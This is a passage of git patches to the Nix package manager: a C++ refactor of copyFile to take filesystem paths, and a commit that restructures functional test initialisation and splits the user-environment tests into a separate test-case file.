     // TODO: Rewrite the `is_*` to use `symlink_status()`
-    auto statOfFrom = lstat(from.path().c_str());
+    auto statOfFrom = lstat(from.c_str());
 #endif
-    auto fromStatus = from.symlink_status();
+    auto fromStatus = fs::symlink_status(from);
 
     // Mark the directory as writable so that we can delete its children
     if (andDelete && fs::is_directory(fromStatus)) {
-        fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow);
+        fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow);
     }
 
 
     if (fs::is_symlink(fromStatus) || fs::is_regular_file(fromStatus)) {
-        fs::copy(from.path(), to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing);
+        fs::copy(from, to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing);
     } else if (fs::is_directory(fromStatus)) {
         fs::create_directory(to);
-        for (auto & entry : fs::directory_iterator(from.path())) {
+        for (auto & entry : fs::directory_iterator(from)) {
             copyFile(entry, to / entry.path().filename(), andDelete);
         }
     } else {
-        throw Error("file '%s' has an unsupported type", from.path());
+        throw Error("file '%s' has an unsupported type", from);
     }
 
 #ifndef _WIN32
@@ -635,8 +635,8 @@ void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDel
 #endif
     if (andDelete) {
         if (!fs::is_symlink(fromStatus))
-            fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow);
-        fs::remove(from.path());
+            fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow);
+        fs::remove(from);
     }
 }
 
@@ -657,7 +657,7 @@ void moveFile(const Path & oldName, const Path & newName)
         if (e.code().value() == EXDEV) {
             fs::remove(newPath);
             warn("Can’t rename %s as %s, copying instead", oldName, newName);
-            copyFile(fs::directory_entry(oldPath), tempCopyTarget, true);
+            copyFile(oldPath, tempCopyTarget, true);
             std::filesystem::rename(
                 os_string_to_string(PathViewNG { tempCopyTarget }),
                 os_string_to_string(PathViewNG { newPath }));
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index acc921ebe73..a3f41222459 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -190,7 +190,7 @@ void moveFile(const Path & src, const Path & dst);
  * with the guaranty that the destination will be “fresh”, with no stale inode
  * or file descriptor pointing to it).
  */
-void copyFile(const std::filesystem::directory_entry & from, const std::filesystem::path & to, bool andDelete);
+void copyFile(const std::filesystem::path & from, const std::filesystem::path & to, bool andDelete);
 
 /**
  * Automatic cleanup of resources.

From 33ca905cdb4ea52d95f4177bd8c141bc16f7a8d1 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 6 May 2024 15:42:49 +0200
Subject: [PATCH 125/528] tests: simplify initialisation and wiring

pararameterisation is not actually needed the way things are currently
set up, and it confused me when trying to understand what the code does.

all but one test sources vars-and-functions.sh, which nominally only
defines variables, but in practice is always coupled with the actual
initialisation. while the cleaner way of making this more legible would
be to source variables and initialisation separately, this would produce
a huge diff.

the change requires a few small fixes to keep the tests working:

- only create test home directory during initialisation

  that vars-and-functions.sh wrote to the file system seems not write

- fix creation of the test directory

  due to statefulness, the test home directory was implicitly creating
  the test root, too. decoupling that made it apparent that this was
  probably not intentional, and certainly confusing.

- only source vars-and-functions.sh if init.sh is not needed

  there is one test case that only needs a helper function but no
  initialisation side effects

- remove some unnecessary cleanups and split parts of re-used test code

  there were confusing bits in how initialisation code was repurposed,
  which break if trying to refactor the outer layers naively...
---
 doc/manual/src/contributing/testing.md        |   6 +-
 mk/debug-test.sh                              |   4 -
 mk/lib.mk                                     |   7 +-
 mk/run-test.sh                                |   4 -
 mk/tests.mk                                   |   4 +-
 tests/functional/common.sh                    |   6 +-
 tests/functional/{ => common}/init.sh         |  10 +-
 .../common/vars-and-functions.sh.in           |   3 +-
 tests/functional/lang.sh                      |   2 +-
 .../local-overlay-store/add-lower.sh          |   1 +
 .../local-overlay-store/bad-uris.sh           |   1 +
 tests/functional/local-overlay-store/build.sh |   1 +
 .../local-overlay-store/check-post-init.sh    |   1 +
 .../functional/local-overlay-store/common.sh  |   5 +-
 .../local-overlay-store/delete-duplicate.sh   |   1 +
 .../local-overlay-store/delete-refs.sh        |   1 +
 tests/functional/local-overlay-store/gc.sh    |   1 +
 .../local-overlay-store/optimise.sh           |   1 +
 .../local-overlay-store/redundant-add.sh      |   1 +
 .../local-overlay-store/stale-file-handle.sh  |   1 +
 .../functional/local-overlay-store/verify.sh  |   1 +
 tests/functional/local.mk                     |   1 -
 tests/functional/remote-store.sh              |   2 +-
 tests/functional/user-envs-test-case.sh       | 191 +++++++++++++++++
 tests/functional/user-envs.sh                 | 198 +-----------------
 25 files changed, 227 insertions(+), 227 deletions(-)
 rename tests/functional/{ => common}/init.sh (86%)
 create mode 100644 tests/functional/user-envs-test-case.sh

diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index 31c39c16c09..607914ba3e8 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -162,14 +162,14 @@ ran test tests/functional/${testName}.sh... [PASS]
 or without `make`:
 
 ```shell-session
-$ ./mk/run-test.sh tests/functional/${testName}.sh tests/functional/init.sh
+$ ./mk/run-test.sh tests/functional/${testName}.sh
 ran test tests/functional/${testName}.sh... [PASS]
 ```
 
 To see the complete output, one can also run:
 
 ```shell-session
-$ ./mk/debug-test.sh tests/functional/${testName}.sh tests/functional/init.sh
+$ ./mk/debug-test.sh tests/functional/${testName}.sh
 +(${testName}.sh:1) foo
 output from foo
 +(${testName}.sh:2) bar
@@ -204,7 +204,7 @@ edit it like so:
 Then, running the test with `./mk/debug-test.sh` will drop you into GDB once the script reaches that point:
 
 ```shell-session
-$ ./mk/debug-test.sh tests/functional/${testName}.sh tests/functional/init.sh
+$ ./mk/debug-test.sh tests/functional/${testName}.sh
 ...
 + gdb blash blub
 GNU gdb (GDB) 12.1
diff --git a/mk/debug-test.sh b/mk/debug-test.sh
index 1cd6f9dced8..0dd4406c38e 100755
--- a/mk/debug-test.sh
+++ b/mk/debug-test.sh
@@ -3,12 +3,8 @@
 set -eu -o pipefail
 
 test=$1
-init=${2-}
 
 dir="$(dirname "${BASH_SOURCE[0]}")"
 source "$dir/common-test.sh"
 
-if [ -n "$init" ]; then
-    (run "$init" 2>/dev/null > /dev/null)
-fi
 run "$test"
diff --git a/mk/lib.mk b/mk/lib.mk
index a002d823fe3..1e7af6ad556 100644
--- a/mk/lib.mk
+++ b/mk/lib.mk
@@ -87,15 +87,14 @@ $(foreach script, $(bin-scripts), $(eval $(call install-program-in,$(script),$(b
 $(foreach script, $(bin-scripts), $(eval programs-list += $(script)))
 $(foreach script, $(noinst-scripts), $(eval programs-list += $(script)))
 $(foreach template, $(template-files), $(eval $(call instantiate-template,$(template))))
-install_test_init=tests/functional/init.sh
 $(foreach test, $(install-tests), \
-  $(eval $(call run-test,$(test),$(install_test_init))) \
+  $(eval $(call run-test,$(test))) \
   $(eval installcheck: $(test).test))
 $(foreach test-group, $(install-tests-groups), \
-  $(eval $(call run-test-group,$(test-group),$(install_test_init))) \
+  $(eval $(call run-test-group,$(test-group))) \
   $(eval installcheck: $(test-group).test-group) \
   $(foreach test, $($(test-group)-tests), \
-    $(eval $(call run-test,$(test),$(install_test_init))) \
+    $(eval $(call run-test,$(test))) \
     $(eval $(test-group).test-group: $(test).test)))
 
 # Compilation database.
diff --git a/mk/run-test.sh b/mk/run-test.sh
index 177a452e807..1256bfcf748 100755
--- a/mk/run-test.sh
+++ b/mk/run-test.sh
@@ -8,7 +8,6 @@ yellow=""
 normal=""
 
 test=$1
-init=${2-}
 
 dir="$(dirname "${BASH_SOURCE[0]}")"
 source "$dir/common-test.sh"
@@ -22,9 +21,6 @@ if [ -t 1 ]; then
 fi
 
 run_test () {
-    if [ -n "$init" ]; then
-        (run "$init" 2>/dev/null > /dev/null)
-    fi
     log="$(run "$test" 2>&1)" && status=0 || status=$?
 }
 
diff --git a/mk/tests.mk b/mk/tests.mk
index bac9b704ad1..0a10f6d3bfd 100644
--- a/mk/tests.mk
+++ b/mk/tests.mk
@@ -12,8 +12,8 @@ endef
 
 define run-test
 
-  $(eval $(call run-bash,$1.test,$1 $(test-deps),mk/run-test.sh $1 $2))
-  $(eval $(call run-bash,$1.test-debug,$1 $(test-deps),mk/debug-test.sh $1 $2))
+  $(eval $(call run-bash,$1.test,$1 $(test-deps),mk/run-test.sh $1))
+  $(eval $(call run-bash,$1.test-debug,$1 $(test-deps),mk/debug-test.sh $1))
 
 endef
 
diff --git a/tests/functional/common.sh b/tests/functional/common.sh
index 7b0922c9f32..4ec17b70664 100644
--- a/tests/functional/common.sh
+++ b/tests/functional/common.sh
@@ -4,7 +4,11 @@ if [[ -z "${COMMON_SH_SOURCED-}" ]]; then
 
 COMMON_SH_SOURCED=1
 
-source "$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")/common/vars-and-functions.sh"
+dir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
+
+source "$dir"/common/vars-and-functions.sh
+source "$dir"/common/init.sh
+
 if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
     startDaemon
 fi
diff --git a/tests/functional/init.sh b/tests/functional/common/init.sh
similarity index 86%
rename from tests/functional/init.sh
rename to tests/functional/common/init.sh
index 97b1b058753..9d85dba17d4 100755
--- a/tests/functional/init.sh
+++ b/tests/functional/common/init.sh
@@ -1,6 +1,3 @@
-# Don't start the daemon
-source common/vars-and-functions.sh
-
 test -n "$TEST_ROOT"
 if test -d "$TEST_ROOT"; then
     chmod -R u+rw "$TEST_ROOT"
@@ -8,7 +5,8 @@ if test -d "$TEST_ROOT"; then
     killDaemon
     rm -rf "$TEST_ROOT"
 fi
-mkdir "$TEST_ROOT"
+mkdir -p "$TEST_ROOT"
+mkdir "$TEST_HOME"
 
 mkdir "$NIX_STORE_DIR"
 mkdir "$NIX_LOCALSTATE_DIR"
@@ -36,7 +34,7 @@ extra-experimental-features = flakes
 EOF
 
 # Initialise the database.
+# The flag itself does nothing, but running the command touches the store
 nix-store --init
-
-# Did anything happen?
+# Sanity check
 test -e "$NIX_STATE_DIR"/db/db.sqlite
diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh.in
index e7e2fc77002..cb1f0d56616 100644
--- a/tests/functional/common/vars-and-functions.sh.in
+++ b/tests/functional/common/vars-and-functions.sh.in
@@ -1,3 +1,5 @@
+# NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk
+
 set -eu -o pipefail
 
 if [[ -z "${COMMON_VARS_AND_FUNCTIONS_SH_SOURCED-}" ]]; then
@@ -34,7 +36,6 @@ unset XDG_DATA_HOME
 unset XDG_CONFIG_HOME
 unset XDG_CONFIG_DIRS
 unset XDG_CACHE_HOME
-mkdir -p $TEST_HOME
 
 export PATH=@bindir@:$PATH
 if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index e35795a7af0..c45326473d3 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -72,7 +72,7 @@ for i in lang/eval-fail-*.nix; do
         if [[ -e "lang/$i.flags" ]]; then
             sed -e 's/#.*//' < "lang/$i.flags"
         else
-            # note that show-trace is also set by init.sh
+            # note that show-trace is also set by common/init.sh
             echo "--eval --strict --show-trace"
         fi
     )"
diff --git a/tests/functional/local-overlay-store/add-lower.sh b/tests/functional/local-overlay-store/add-lower.sh
index f0ac46a91b5..33bf20ebdd3 100755
--- a/tests/functional/local-overlay-store/add-lower.sh
+++ b/tests/functional/local-overlay-store/add-lower.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh
index 2517681dd84..42a6d47f756 100644
--- a/tests/functional/local-overlay-store/bad-uris.sh
+++ b/tests/functional/local-overlay-store/bad-uris.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/build.sh b/tests/functional/local-overlay-store/build.sh
index 758585400d8..2251be7e788 100755
--- a/tests/functional/local-overlay-store/build.sh
+++ b/tests/functional/local-overlay-store/build.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/check-post-init.sh b/tests/functional/local-overlay-store/check-post-init.sh
index 985bf978e5d..e0c2602762d 100755
--- a/tests/functional/local-overlay-store/check-post-init.sh
+++ b/tests/functional/local-overlay-store/check-post-init.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh
index 2634f8c8f84..0e60978617f 100644
--- a/tests/functional/local-overlay-store/common.sh
+++ b/tests/functional/local-overlay-store/common.sh
@@ -1,4 +1,4 @@
-source ../common.sh
+source ../common/vars-and-functions.sh
 
 # The new Linux mount interface does not seem to support remounting
 # OverlayFS mount points.
@@ -37,10 +37,9 @@ addConfig () {
 setupConfig () {
   addConfig "require-drop-supplementary-groups = false"
   addConfig "build-users-group = "
+  enableFeatures "local-overlay-store"
 }
 
-enableFeatures "local-overlay-store"
-
 setupStoreDirs () {
   # Attempt to create store dirs on tmpfs volume.
   # This ensures lowerdir, upperdir and workdir will be on
diff --git a/tests/functional/local-overlay-store/delete-duplicate.sh b/tests/functional/local-overlay-store/delete-duplicate.sh
index 0c0b1a3b202..e3b94e1cb74 100644
--- a/tests/functional/local-overlay-store/delete-duplicate.sh
+++ b/tests/functional/local-overlay-store/delete-duplicate.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/delete-refs.sh b/tests/functional/local-overlay-store/delete-refs.sh
index 942d7fbdc1c..62295aaa19a 100755
--- a/tests/functional/local-overlay-store/delete-refs.sh
+++ b/tests/functional/local-overlay-store/delete-refs.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/gc.sh b/tests/functional/local-overlay-store/gc.sh
index 1e1fb203ea8..f3420d0b813 100755
--- a/tests/functional/local-overlay-store/gc.sh
+++ b/tests/functional/local-overlay-store/gc.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/optimise.sh b/tests/functional/local-overlay-store/optimise.sh
index 569afa248a9..a524a675e1c 100755
--- a/tests/functional/local-overlay-store/optimise.sh
+++ b/tests/functional/local-overlay-store/optimise.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/redundant-add.sh b/tests/functional/local-overlay-store/redundant-add.sh
index fbd4799e74a..b4f04b2e1eb 100755
--- a/tests/functional/local-overlay-store/redundant-add.sh
+++ b/tests/functional/local-overlay-store/redundant-add.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/stale-file-handle.sh b/tests/functional/local-overlay-store/stale-file-handle.sh
index 5e75628ca47..684b8ce23d4 100755
--- a/tests/functional/local-overlay-store/stale-file-handle.sh
+++ b/tests/functional/local-overlay-store/stale-file-handle.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local-overlay-store/verify.sh b/tests/functional/local-overlay-store/verify.sh
index 8b44603ff83..d73d1a57d66 100755
--- a/tests/functional/local-overlay-store/verify.sh
+++ b/tests/functional/local-overlay-store/verify.sh
@@ -1,4 +1,5 @@
 source common.sh
+source ../common/init.sh
 
 requireEnvironment
 setupConfig
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index 65ab20f9a4f..021af096c84 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -1,6 +1,5 @@
 nix_tests = \
   test-infra.sh \
-  init.sh \
   flakes/flakes.sh \
   flakes/develop.sh \
   flakes/run.sh \
diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh
index cc5dd18338a..e2c16f18ad6 100644
--- a/tests/functional/remote-store.sh
+++ b/tests/functional/remote-store.sh
@@ -23,7 +23,7 @@ fi
 # Test import-from-derivation through the daemon.
 [[ $(nix eval --impure --raw --file ./ifd.nix) = hi ]]
 
-storeCleared=1 NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs.sh
+NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs-test-case.sh
 
 nix-store --gc --max-freed 1K
 
diff --git a/tests/functional/user-envs-test-case.sh b/tests/functional/user-envs-test-case.sh
new file mode 100644
index 00000000000..f4a90a67505
--- /dev/null
+++ b/tests/functional/user-envs-test-case.sh
@@ -0,0 +1,191 @@
+clearProfiles
+
+# Query installed: should be empty.
+test "$(nix-env -p $profiles/test -q '*' | wc -l)" -eq 0
+
+nix-env --switch-profile $profiles/test
+
+# Query available: should contain several.
+test "$(nix-env -f ./user-envs.nix -qa '*' | wc -l)" -eq 6
+outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1.0)
+drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0)
+[ -n "$outPath10" -a -n "$drvPath10" ]
+
+# Query with json
+nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [
+    .outputName == "out",
+    .outputs.out == null
+] | all'
+nix-env -f ./user-envs.nix -qa --json --out-path | jq -e '.[] | select(.name == "bar-0.1") | [
+    .outputName == "out",
+    (.outputs.out | test("'$NIX_STORE_DIR'.*-0\\.1"))
+] | all'
+nix-env -f ./user-envs.nix -qa --json --drv-path | jq -e '.[] | select(.name == "bar-0.1") | (.drvPath | test("'$NIX_STORE_DIR'.*-0\\.1\\.drv"))'
+
+# Query descriptions.
+nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly
+rm -rf $HOME/.nix-defexpr
+ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr
+nix-env -qa '*' --description | grepQuiet silly
+
+# Query the system.
+nix-env -qa '*' --system | grepQuiet $system
+
+# Install "foo-1.0".
+nix-env -i foo-1.0
+
+# Query installed: should contain foo-1.0 now (which should be
+# executable).
+test "$(nix-env -q '*' | wc -l)" -eq 1
+nix-env -q '*' | grepQuiet foo-1.0
+test "$($profiles/test/bin/foo)" = "foo-1.0"
+
+# Test nix-env -qc to compare installed against available packages, and vice versa.
+nix-env -qc '*' | grepQuiet '< 2.0'
+nix-env -qac '*' | grepQuiet '> 1.0'
+
+# Test the -b flag to filter out source-only packages.
+[ "$(nix-env -qab | wc -l)" -eq 1 ]
+
+# Test the -s flag to get package status.
+nix-env -qas | grepQuiet 'IP-  foo-1.0'
+nix-env -qas | grepQuiet -- '---  bar-0.1'
+
+# Disable foo.
+nix-env --set-flag active false foo
+(! [ -e "$profiles/test/bin/foo" ])
+
+# Enable foo.
+nix-env --set-flag active true foo
+[ -e "$profiles/test/bin/foo" ]
+
+# Store the path of foo-1.0.
+outPath10_=$(nix-env -q --out-path --no-name '*' | grep foo-1.0)
+echo "foo-1.0 = $outPath10"
+[ "$outPath10" = "$outPath10_" ]
+
+# Install "foo-2.0pre1": should remove foo-1.0.
+nix-env -i foo-2.0pre1
+
+# Query installed: should contain foo-2.0pre1 now.
+test "$(nix-env -q '*' | wc -l)" -eq 1
+nix-env -q '*' | grepQuiet foo-2.0pre1
+test "$($profiles/test/bin/foo)" = "foo-2.0pre1"
+
+# Upgrade "foo": should install foo-2.0.
+NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '<nixpkgs>' -u foo
+
+# Query installed: should contain foo-2.0 now.
+test "$(nix-env -q '*' | wc -l)" -eq 1
+nix-env -q '*' | grepQuiet foo-2.0
+test "$($profiles/test/bin/foo)" = "foo-2.0"
+
+# Store the path of foo-2.0.
+outPath20=$(nix-env -q --out-path --no-name '*' | grep foo-2.0)
+test -n "$outPath20"
+
+# Install bar-0.1, uninstall foo.
+nix-env -i bar-0.1
+nix-env -e foo
+
+# Query installed: should only contain bar-0.1 now.
+if nix-env -q '*' | grepQuiet foo; then false; fi
+nix-env -q '*' | grepQuiet bar
+
+# Rollback: should bring "foo" back.
+oldGen="$(nix-store -q --resolve $profiles/test)"
+nix-env --rollback
+[ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ]
+nix-env -q '*' | grepQuiet foo-2.0
+nix-env -q '*' | grepQuiet bar
+
+# Rollback again: should remove "bar".
+nix-env --rollback
+nix-env -q '*' | grepQuiet foo-2.0
+if nix-env -q '*' | grepQuiet bar; then false; fi
+
+# Count generations.
+nix-env --list-generations
+test "$(nix-env --list-generations | wc -l)" -eq 7
+
+# Doing the same operation twice results in the same generation, which triggers
+# "lazy" behaviour and does not create a new symlink.
+
+nix-env -i foo
+nix-env -i foo
+
+# Count generations.
+nix-env --list-generations
+test "$(nix-env --list-generations | wc -l)" -eq 8
+
+# Switch to a specified generation.
+nix-env --switch-generation 7
+[ "$(nix-store -q --resolve $profiles/test)" = "$oldGen" ]
+
+# Install foo-1.0, now using its store path.
+nix-env -i "$outPath10"
+nix-env -q '*' | grepQuiet foo-1.0
+nix-store -qR $profiles/test | grep "$outPath10"
+nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)"
+[ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ]
+
+# Uninstall foo-1.0, using a symlink to its store path.
+ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink
+nix-env -e $TEST_ROOT/symlink
+if nix-env -q '*' | grepQuiet foo; then false; fi
+nix-store -qR $profiles/test | grepInverse "$outPath10"
+
+# Install foo-1.0, now using a symlink to its store path.
+nix-env -i $TEST_ROOT/symlink
+nix-env -q '*' | grepQuiet foo
+
+# Delete all old generations.
+nix-env --delete-generations old
+
+# Run the garbage collector.  This should get rid of foo-2.0 but not
+# foo-1.0.
+nix-collect-garbage
+test -e "$outPath10"
+(! [ -e "$outPath20" ])
+
+# Uninstall everything
+nix-env -e '*'
+test "$(nix-env -q '*' | wc -l)" -eq 0
+
+# Installing "foo" should only install the newest foo.
+nix-env -i foo
+test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1
+nix-env -q '*' | grepQuiet foo-2.0
+
+# On the other hand, this should install both (and should fail due to
+# a collision).
+nix-env -e '*'
+(! nix-env -i foo-1.0 foo-2.0)
+
+# Installing "*" should install one foo and one bar.
+nix-env -e '*'
+nix-env -i '*'
+test "$(nix-env -q '*' | wc -l)" -eq 2
+nix-env -q '*' | grepQuiet foo-2.0
+nix-env -q '*' | grepQuiet bar-0.1.1
+
+# Test priorities: foo-0.1 has a lower priority than foo-1.0, so it
+# should be possible to install both without a collision.  Also test
+# ‘--set-flag priority’ to manually override the declared priorities.
+nix-env -e '*'
+nix-env -i foo-0.1 foo-1.0
+[ "$($profiles/test/bin/foo)" = "foo-1.0" ]
+nix-env --set-flag priority 1 foo-0.1
+[ "$($profiles/test/bin/foo)" = "foo-0.1" ]
+
+# Test nix-env --set.
+nix-env --set $outPath10
+[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
+nix-env --set $drvPath10
+[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
+
+# Test the case where $HOME contains a symlink.
+mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels
+ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home
+ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo
+HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1
diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh
index 7c643f3553c..a849d543994 100644
--- a/tests/functional/user-envs.sh
+++ b/tests/functional/user-envs.sh
@@ -1,197 +1,3 @@
-source common.sh
+source ./common.sh
 
-if [ -z "${storeCleared-}" ]; then
-    clearStore
-fi
-
-clearProfiles
-
-# Query installed: should be empty.
-test "$(nix-env -p $profiles/test -q '*' | wc -l)" -eq 0
-
-nix-env --switch-profile $profiles/test
-
-# Query available: should contain several.
-test "$(nix-env -f ./user-envs.nix -qa '*' | wc -l)" -eq 6
-outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1.0)
-drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0)
-[ -n "$outPath10" -a -n "$drvPath10" ]
-
-# Query with json
-nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [
-    .outputName == "out",
-    .outputs.out == null
-] | all'
-nix-env -f ./user-envs.nix -qa --json --out-path | jq -e '.[] | select(.name == "bar-0.1") | [
-    .outputName == "out",
-    (.outputs.out | test("'$NIX_STORE_DIR'.*-0\\.1"))
-] | all'
-nix-env -f ./user-envs.nix -qa --json --drv-path | jq -e '.[] | select(.name == "bar-0.1") | (.drvPath | test("'$NIX_STORE_DIR'.*-0\\.1\\.drv"))'
-
-# Query descriptions.
-nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly
-rm -rf $HOME/.nix-defexpr
-ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr
-nix-env -qa '*' --description | grepQuiet silly
-
-# Query the system.
-nix-env -qa '*' --system | grepQuiet $system
-
-# Install "foo-1.0".
-nix-env -i foo-1.0
-
-# Query installed: should contain foo-1.0 now (which should be
-# executable).
-test "$(nix-env -q '*' | wc -l)" -eq 1
-nix-env -q '*' | grepQuiet foo-1.0
-test "$($profiles/test/bin/foo)" = "foo-1.0"
-
-# Test nix-env -qc to compare installed against available packages, and vice versa.
-nix-env -qc '*' | grepQuiet '< 2.0'
-nix-env -qac '*' | grepQuiet '> 1.0'
-
-# Test the -b flag to filter out source-only packages.
-[ "$(nix-env -qab | wc -l)" -eq 1 ]
-
-# Test the -s flag to get package status.
-nix-env -qas | grepQuiet 'IP-  foo-1.0'
-nix-env -qas | grepQuiet -- '---  bar-0.1'
-
-# Disable foo.
-nix-env --set-flag active false foo
-(! [ -e "$profiles/test/bin/foo" ])
-
-# Enable foo.
-nix-env --set-flag active true foo
-[ -e "$profiles/test/bin/foo" ]
-
-# Store the path of foo-1.0.
-outPath10_=$(nix-env -q --out-path --no-name '*' | grep foo-1.0)
-echo "foo-1.0 = $outPath10"
-[ "$outPath10" = "$outPath10_" ]
-
-# Install "foo-2.0pre1": should remove foo-1.0.
-nix-env -i foo-2.0pre1
-
-# Query installed: should contain foo-2.0pre1 now.
-test "$(nix-env -q '*' | wc -l)" -eq 1
-nix-env -q '*' | grepQuiet foo-2.0pre1
-test "$($profiles/test/bin/foo)" = "foo-2.0pre1"
-
-# Upgrade "foo": should install foo-2.0.
-NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '<nixpkgs>' -u foo
-
-# Query installed: should contain foo-2.0 now.
-test "$(nix-env -q '*' | wc -l)" -eq 1
-nix-env -q '*' | grepQuiet foo-2.0
-test "$($profiles/test/bin/foo)" = "foo-2.0"
-
-# Store the path of foo-2.0.
-outPath20=$(nix-env -q --out-path --no-name '*' | grep foo-2.0)
-test -n "$outPath20"
-
-# Install bar-0.1, uninstall foo.
-nix-env -i bar-0.1
-nix-env -e foo
-
-# Query installed: should only contain bar-0.1 now.
-if nix-env -q '*' | grepQuiet foo; then false; fi
-nix-env -q '*' | grepQuiet bar
-
-# Rollback: should bring "foo" back.
-oldGen="$(nix-store -q --resolve $profiles/test)"
-nix-env --rollback
-[ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ]
-nix-env -q '*' | grepQuiet foo-2.0
-nix-env -q '*' | grepQuiet bar
-
-# Rollback again: should remove "bar".
-nix-env --rollback
-nix-env -q '*' | grepQuiet foo-2.0
-if nix-env -q '*' | grepQuiet bar; then false; fi
-
-# Count generations.
-nix-env --list-generations
-test "$(nix-env --list-generations | wc -l)" -eq 7
-
-# Doing the same operation twice results in the same generation, which triggers
-# "lazy" behaviour and does not create a new symlink.
-
-nix-env -i foo
-nix-env -i foo
-
-# Count generations.
-nix-env --list-generations
-test "$(nix-env --list-generations | wc -l)" -eq 8
-
-# Switch to a specified generation.
-nix-env --switch-generation 7
-[ "$(nix-store -q --resolve $profiles/test)" = "$oldGen" ]
-
-# Install foo-1.0, now using its store path.
-nix-env -i "$outPath10"
-nix-env -q '*' | grepQuiet foo-1.0
-nix-store -qR $profiles/test | grep "$outPath10"
-nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)"
-[ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ]
-
-# Uninstall foo-1.0, using a symlink to its store path.
-ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink
-nix-env -e $TEST_ROOT/symlink
-if nix-env -q '*' | grepQuiet foo; then false; fi
-nix-store -qR $profiles/test | grepInverse "$outPath10"
-
-# Install foo-1.0, now using a symlink to its store path.
-nix-env -i $TEST_ROOT/symlink
-nix-env -q '*' | grepQuiet foo
-
-# Delete all old generations.
-nix-env --delete-generations old
-
-# Run the garbage collector.  This should get rid of foo-2.0 but not
-# foo-1.0.
-nix-collect-garbage
-test -e "$outPath10"
-(! [ -e "$outPath20" ])
-
-# Uninstall everything
-nix-env -e '*'
-test "$(nix-env -q '*' | wc -l)" -eq 0
